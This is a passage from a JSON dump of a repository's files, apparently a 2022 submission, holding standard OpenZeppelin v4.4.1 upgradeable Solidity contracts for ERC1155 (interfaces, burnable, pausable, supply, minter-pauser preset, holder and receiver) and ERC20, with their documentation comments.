ids An array containing ids of each token being transferred (order and length must match values array)\n        @param values An array containing amounts of each token being transferred (order and length must match ids array)\n        @param data Additional data with no specified format\n        @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n    */\n    function onERC1155BatchReceived(\n        address operator,\n        address from,\n        uint256[] calldata ids,\n        uint256[] calldata values,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/IERC1155Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155Upgradeable is IERC165Upgradeable {\n    /**\n     * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n     */\n    event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n    /**\n     * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n     * transfers.\n     */\n    event TransferBatch(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256[] ids,\n        uint256[] values\n    );\n\n    /**\n     * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n     * `approved`.\n     */\n    event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n    /**\n     * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n     *\n     * If an {URI} event was emitted for `id`, the standard\n     * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n     * returned by {IERC1155MetadataURI-uri}.\n     */\n    event URI(string value, uint256 indexed id);\n\n    /**\n     * @dev Returns the amount of tokens of token type `id` owned by `account`.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     */\n    function balanceOf(address account, uint256 id) external view returns (uint256);\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n     *\n     * Requirements:\n     *\n     * - `accounts` and `ids` must have the same length.\n     */\n    function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n        external\n        view\n        returns (uint256[] memory);\n\n    /**\n     * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n     *\n     * Emits an {ApprovalForAll} event.\n     *\n     * Requirements:\n     *\n     * - `operator` cannot be the caller.\n     */\n    function setApprovalForAll(address operator, bool approved) external;\n\n    /**\n     * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n     *\n     * See {setApprovalForAll}.\n     */\n    function isApprovedForAll(address account, address operator) external view returns (bool);\n\n    /**\n     * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n     *\n     * Emits a {TransferSingle} event.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n     * - `from` must have a balance of tokens of type `id` of at least `amount`.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n     * acceptance magic value.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes calldata data\n    ) external;\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n     *\n     * Emits a {TransferBatch} event.\n     *\n     * Requirements:\n     *\n     * - `ids` and `amounts` must have the same length.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n     * acceptance magic value.\n     */\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] calldata ids,\n        uint256[] calldata amounts,\n        bytes calldata data\n    ) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/README.adoc",
    "content": "= ERC 1155\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc1155\n\nThis set of interfaces and contracts are all related to the https://eips.ethereum.org/EIPS/eip-1155[ERC1155 Multi Token Standard].\n\nThe EIP consists of three interfaces which fulfill different roles, found here as {IERC1155}, {IERC1155MetadataURI} and {IERC1155Receiver}.\n\n{ERC1155} implements the mandatory {IERC1155} interface, as well as the optional extension {IERC1155MetadataURI}, by relying on the substitution mechanism to use the same URI for all token types, dramatically reducing gas costs.\n\nAdditionally there are multiple custom extensions, including:\n\n* designation of addresses that can pause token transfers for all users ({ERC1155Pausable}).\n* destruction of own tokens ({ERC1155Burnable}).\n\nNOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC1155 (such as <<ERC1155-_mint-address-uint256-uint256-bytes-,`_mint`>>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc1155.adoc#Presets[ERC1155 Presets] (such as {ERC1155PresetMinterPauser}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.\n\n== Core\n\n{{IERC1155}}\n\n{{IERC1155MetadataURI}}\n\n{{ERC1155}}\n\n{{IERC1155Receiver}}\n\n== Extensions\n\n{{ERC1155Pausable}}\n\n{{ERC1155Burnable}}\n\n{{ERC1155Supply}}\n\n== Presets\n\nThese contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.\n\n{{ERC1155PresetMinterPauser}}\n\n== Utilities\n\n{{ERC1155Holder}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/extensions/ERC1155BurnableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\n * own tokens and those that they have been approved to use.\n *\n * _Available since v3.1._\n */\nabstract contract ERC1155BurnableUpgradeable is Initializable, ERC1155Upgradeable {\n    function __ERC1155Burnable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC1155Burnable_init_unchained();\n    }\n\n    function __ERC1155Burnable_init_unchained() internal onlyInitializing {\n    }\n    function burn(\n        address account,\n        uint256 id,\n        uint256 value\n    ) public virtual {\n        require(\n            account == _msgSender() || isApprovedForAll(account, _msgSender()),\n            \"ERC1155: caller is not owner nor approved\"\n        );\n\n        _burn(account, id, value);\n    }\n\n    function burnBatch(\n        address account,\n        uint256[] memory ids,\n        uint256[] memory values\n    ) public virtual {\n        require(\n            account == _msgSender() || isApprovedForAll(account, _msgSender()),\n            \"ERC1155: caller is not owner nor approved\"\n        );\n\n        _burnBatch(account, ids, values);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/extensions/ERC1155PausableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155Upgradeable.sol\";\nimport \"../../../security/PausableUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev ERC1155 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n *\n * _Available since v3.1._\n */\nabstract contract ERC1155PausableUpgradeable is Initializable, ERC1155Upgradeable, PausableUpgradeable {\n    function __ERC1155Pausable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __Pausable_init_unchained();\n        __ERC1155Pausable_init_unchained();\n    }\n\n    function __ERC1155Pausable_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev See {ERC1155-_beforeTokenTransfer}.\n     *\n     * Requirements:\n     *\n     * - the contract must not be paused.\n     */\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n        require(!paused(), \"ERC1155Pausable: token transfer while paused\");\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/extensions/ERC1155SupplyUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of ERC1155 that adds tracking of total supply per id.\n *\n * Useful for scenarios where Fungible and Non-fungible tokens have to be\n * clearly identified. Note: While a totalSupply of 1 might mean the\n * corresponding is an NFT, there is no guarantees that no other token with the\n * same id are not going to be minted.\n */\nabstract contract ERC1155SupplyUpgradeable is Initializable, ERC1155Upgradeable {\n    function __ERC1155Supply_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC1155Supply_init_unchained();\n    }\n\n    function __ERC1155Supply_init_unchained() internal onlyInitializing {\n    }\n    mapping(uint256 => uint256) private _totalSupply;\n\n    /**\n     * @dev Total amount of tokens in with a given id.\n     */\n    function totalSupply(uint256 id) public view virtual returns (uint256) {\n        return _totalSupply[id];\n    }\n\n    /**\n     * @dev Indicates whether any token exist with a given id, or not.\n     */\n    function exists(uint256 id) public view virtual returns (bool) {\n        return ERC1155SupplyUpgradeable.totalSupply(id) > 0;\n    }\n\n    /**\n     * @dev See {ERC1155-_beforeTokenTransfer}.\n     */\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n        if (from == address(0)) {\n            for (uint256 i = 0; i < ids.length; ++i) {\n                _totalSupply[ids[i]] += amounts[i];\n            }\n        }\n\n        if (to == address(0)) {\n            for (uint256 i = 0; i < ids.length; ++i) {\n                _totalSupply[ids[i]] -= amounts[i];\n            }\n        }\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/extensions/IERC1155MetadataURIUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Upgradeable.sol\";\n\n/**\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable {\n    /**\n     * @dev Returns the URI for token type `id`.\n     *\n     * If the `\\{id\\}` substring is present in the URI, it must be replaced by\n     * clients with the actual token type ID.\n     */\n    function uri(uint256 id) external view returns (string memory);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/presets/ERC1155PresetMinterPauserUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/presets/ERC1155PresetMinterPauser.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155Upgradeable.sol\";\nimport \"../extensions/ERC1155BurnableUpgradeable.sol\";\nimport \"../extensions/ERC1155PausableUpgradeable.sol\";\nimport \"../../../access/AccessControlEnumerableUpgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev {ERC1155} token, including:\n *\n *  - ability for holders to burn (destroy) their tokens\n *  - a minter role that allows for token minting (creation)\n *  - a pauser role that allows to stop all token transfers\n *\n * This contract uses {AccessControl} to lock permissioned functions using the\n * different roles - head to its documentation for details.\n *\n * The account that deploys the contract will be granted the minter and pauser\n * roles, as well as the default admin role, which will let it grant both minter\n * and pauser roles to other accounts.\n */\ncontract ERC1155PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC1155BurnableUpgradeable, ERC1155PausableUpgradeable {\n    function initialize(string memory uri) public virtual initializer {\n        __ERC1155PresetMinterPauser_init(uri);\n    }\n    bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n    bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n\n    /**\n     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that\n     * deploys the contract.\n     */\n    function __ERC1155PresetMinterPauser_init(string memory uri) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __AccessControl_init_unchained();\n        __AccessControlEnumerable_init_unchained();\n        __ERC1155_init_unchained(uri);\n        __ERC1155Burnable_init_unchained();\n        __Pausable_init_unchained();\n        __ERC1155Pausable_init_unchained();\n        __ERC1155PresetMinterPauser_init_unchained(uri);\n    }\n\n    function __ERC1155PresetMinterPauser_init_unchained(string memory uri) internal onlyInitializing {\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n\n        _setupRole(MINTER_ROLE, _msgSender());\n        _setupRole(PAUSER_ROLE, _msgSender());\n    }\n\n    /**\n     * @dev Creates `amount` new tokens for `to`, of token type `id`.\n     *\n     * See {ERC1155-_mint}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `MINTER_ROLE`.\n     */\n    function mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        require(hasRole(MINTER_ROLE, _msgSender()), \"ERC1155PresetMinterPauser: must have minter role to mint\");\n\n        _mint(to, id, amount, data);\n    }\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.\n     */\n    function mintBatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        require(hasRole(MINTER_ROLE, _msgSender()), \"ERC1155PresetMinterPauser: must have minter role to mint\");\n\n        _mintBatch(to, ids, amounts, data);\n    }\n\n    /**\n     * @dev Pauses all token transfers.\n     *\n     * See {ERC1155Pausable} and {Pausable-_pause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function pause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC1155PresetMinterPauser: must have pauser role to pause\");\n        _pause();\n    }\n\n    /**\n     * @dev Unpauses all token transfers.\n     *\n     * See {ERC1155Pausable} and {Pausable-_unpause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function unpause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC1155PresetMinterPauser: must have pauser role to unpause\");\n        _unpause();\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(AccessControlEnumerableUpgradeable, ERC1155Upgradeable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override(ERC1155Upgradeable, ERC1155PausableUpgradeable) {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/utils/ERC1155HolderUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Holder.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1155ReceiverUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ncontract ERC1155HolderUpgradeable is Initializable, ERC1155ReceiverUpgradeable {\n    function __ERC1155Holder_init() internal onlyInitializing {\n        __ERC165_init_unchained();\n        __ERC1155Receiver_init_unchained();\n        __ERC1155Holder_init_unchained();\n    }\n\n    function __ERC1155Holder_init_unchained() internal onlyInitializing {\n    }\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes memory\n    ) public virtual override returns (bytes4) {\n        return this.onERC1155Received.selector;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] memory,\n        uint256[] memory,\n        bytes memory\n    ) public virtual override returns (bytes4) {\n        return this.onERC1155BatchReceived.selector;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/utils/ERC1155ReceiverUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155ReceiverUpgradeable.sol\";\nimport \"../../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155ReceiverUpgradeable is Initializable, ERC165Upgradeable, IERC1155ReceiverUpgradeable {\n    function __ERC1155Receiver_init() internal onlyInitializing {\n        __ERC165_init_unchained();\n        __ERC1155Receiver_init_unchained();\n    }\n\n    function __ERC1155Receiver_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n        return interfaceId == type(IERC1155ReceiverUpgradeable).interfaceId || super.supportsInterface(interfaceId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/ERC20Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20Upgradeable.sol\";\nimport \"./extensions/IERC20MetadataUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {\n    mapping(address => uint256) private _balances;\n\n    mapping(address => mapping(address => uint256)) private _allowances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n\n    /**\n     * @dev Sets the values for {name} and {symbol}.\n     *\n     * The default value of {decimals} is 18. To select a different value for\n     * {decimals} you should overload it.\n     *\n     * All two of these values are immutable: they can only be set once during\n     * construction.\n     */\n    function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name_, symbol_);\n    }\n\n    function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n        _name = name_;\n        _symbol = symbol_;\n    }\n\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev Returns the symbol of the token, usually a shorter version of the\n     * name.\n     */\n    function symbol() public view virtual override returns (string memory) {\n        return _symbol;\n    }\n\n    /**\n     * @dev Returns the number of decimals used to get its user representation.\n     * For example, if `decimals` equals `2`, a balance of `505` tokens should\n     * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n     *\n     * Tokens usually opt for a value of 18, imitating the relationship between\n     * Ether and Wei. This is the value {ERC20} uses, unless this function is\n     * overridden;\n     *\n     * NOTE: This information is only used for _display_ purposes: it in\n     * no way affects any of the arithmetic of the contract, including\n     * {IERC20-balanceOf} and {IERC20-transfer}.\n     */\n    function decimals() public view virtual override returns (uint8) {\n        return 18;\n    }\n\n    /**\n     * @dev See {IERC20-totalSupply}.\n     */\n    function totalSupply() public view virtual override returns (uint256) {\n        return _totalSupply;\n    }\n\n    /**\n     * @dev See {IERC20-balanceOf}.\n     */\n    function balanceOf(address account) public view virtual override returns (uint256) {\n        return _balances[account];\n    }\n\n    /**\n     * @dev See {IERC20-transfer}.\n     *\n     * Requirements:\n     *\n     * - `recipient` cannot be the zero address.\n     * - the caller must have a balance of at least `amount`.\n     */\n    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n        _transfer(_msgSender(), recipient, amount);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-allowance}.\n     */\n    function allowance(address owner, address spender) public view virtual override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    /**\n     * @dev See {IERC20-approve}.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     */\n    function approve(address spender, uint256 amount) public virtual override returns (bool) {\n        _approve(_msgSender(), spender, amount);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-transferFrom}.\n     *\n     * Emits an {Approval} event indicating the updated allowance. This is not\n     * required by the EIP. See the note at the beginning of {ERC20}.\n     *\n     * Requirements:\n     *\n     * - `sender` and `recipient` cannot be the zero address.\n     * - `sender` must have a balance of at least `amount`.\n     * - the caller must have allowance for ``sender``'s tokens of at least\n     * `amount`.\n     */\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        _transfer(sender, recipient, amount);\n\n        uint256 currentAllowance = _allowances[sender][_msgSender()];\n        require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\n        unchecked {\n            _approve(sender, _msgSender(), currentAllowance - amount);\n        }\n\n        return true;\n    }\n\n    /**\n     * @dev Atomically increases the allowance granted to `spender` by the caller.\n     *\n     * This is an alternative to {approve} that can be used as a mitigation for\n     * problems described in {IERC20-approve}.\n     *\n     * Emits an {Approval} event indicating the updated allowance.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     */\n    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\n        return true;\n    }\n\n    /**\n     * @dev Atomically decreases the allowance granted to `spender` by the caller.\n     *\n     * This is an alternative to {approve} that can be used as a mitigation for\n     * problems described in {IERC20-approve}.\n     *\n     * Emits an {Approval} event indicating the updated allowance.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     * - `spender` must have allowance for the caller of at least\n     * `subtractedValue`.\n     */\n    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n        uint256 currentAllowance = _allowances[_msgSender()][spender];\n        require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n        unchecked {\n            _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n        }\n\n        return true;\n    }\n\n    /**\n     * @dev Moves `amount` of tokens from `sender` to `recipient`.\n     *\n     * This internal function is equivalent to {transfer}, and can be used to\n     * e.g. implement automatic token fees, slashing mechanisms, etc.\n     *\n     * Emits a {Transfer} event.\n     *\n     * Requirements:\n     *\n     * - `sender` cannot be the zero address.\n     * - `recipient` cannot be the zero address.\n     * - `sender` must have a balance of at least `amount`.\n     */\n    function _transfer(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) internal virtual {\n        require(sender != address(0), \"ERC20: transfer from the zero address\");\n        require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n        _beforeTokenTransfer(sender, recipient, amount);\n\n        uint256 senderBalance = _balances[sender];\n        require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n        unchecked {\n            _balances[sender] = senderBalance - amount;\n        }\n        _balances[recipient] += amount;\n\n        emit Transfer(sender, recipient, amount);\n\n        _afterTokenTransfer(sender, recipient, amount);\n    }\n\n    /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n     * the total supply.\n     *\n     * Emits a {Transfer} event with `from` set to the zero address.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     */\n    function _mint(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _beforeTokenTransfer(address(0), account, amount);\n\n        _totalSupply += amount;\n        _balances[account] += amount;\n        emit Transfer(address(0), account, amount);\n\n        _afterTokenTransfer(address(0), account, amount);\n    }\n\n    /**\n     * @dev Destroys `amount` tokens from `account`, reducing the\n     * total supply.\n     *\n     * Emits a {Transfer} event with `to` set to the zero address.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     * - `account` must have at least `amount` tokens.\n     */\n    function _burn(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _beforeTokenTransfer(account, address(0), amount);\n\n        uint256 accountBalance = _balances[account];\n        require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n        unchecked {\n            _balances[account] = accountBalance - amount;\n        }\n        _totalSupply -= amount;\n\n        emit Transfer(account, address(0), amount);\n\n        _afterTokenTransfer(account, address(0), amount);\n    }\n\n    /**\n     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n     *\n     * This internal function is equivalent to `approve`, and can be used to\n     * e.g. set automatic allowances for certain subsystems, etc.\n     *\n     * Emits an {Approval} event.\n     *\n     * Requirements:\n     *\n     * - `owner` cannot be the zero address.\n     * - `spender` cannot be the zero address.\n     */\n    function _approve(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    /**\n     * @dev Hook that is called before any transfer of tokens. This includes\n     * minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * will be transferred to `to`.\n     * - when `from` is zero, `amount` tokens will be minted for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n\n    /**\n     * @dev Hook that is called after any transfer of tokens. This includes\n     * minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * has been transferred to `to`.\n     * - when `from` is zero, `amount` tokens have been minted for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _afterTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n    uint256[45] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20Upgradeable {\n    /**\n     * @dev Returns the amount of tokens in existence.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns the amount of tokens owned by `account`.\n     */\n    function balanceOf(address account) external view returns (uint256);\n\n    /**\n     * @dev Moves `amount` tokens from the caller's account to `recipient`.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transfer(address recipient, uint256 amount) external returns (bool);\n\n    /**\n     * @dev Returns the remaining number of tokens that `spender` will be\n     * allowed to spend on behalf of `owner` through {transferFrom}. This is\n     * zero by default.\n     *\n     * This value changes when {approve} or {transferFrom} are called.\n     */\n    function allowance(address owner, address spender) external view returns (uint256);\n\n    /**\n     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n     *\n     * Returns a boolean value 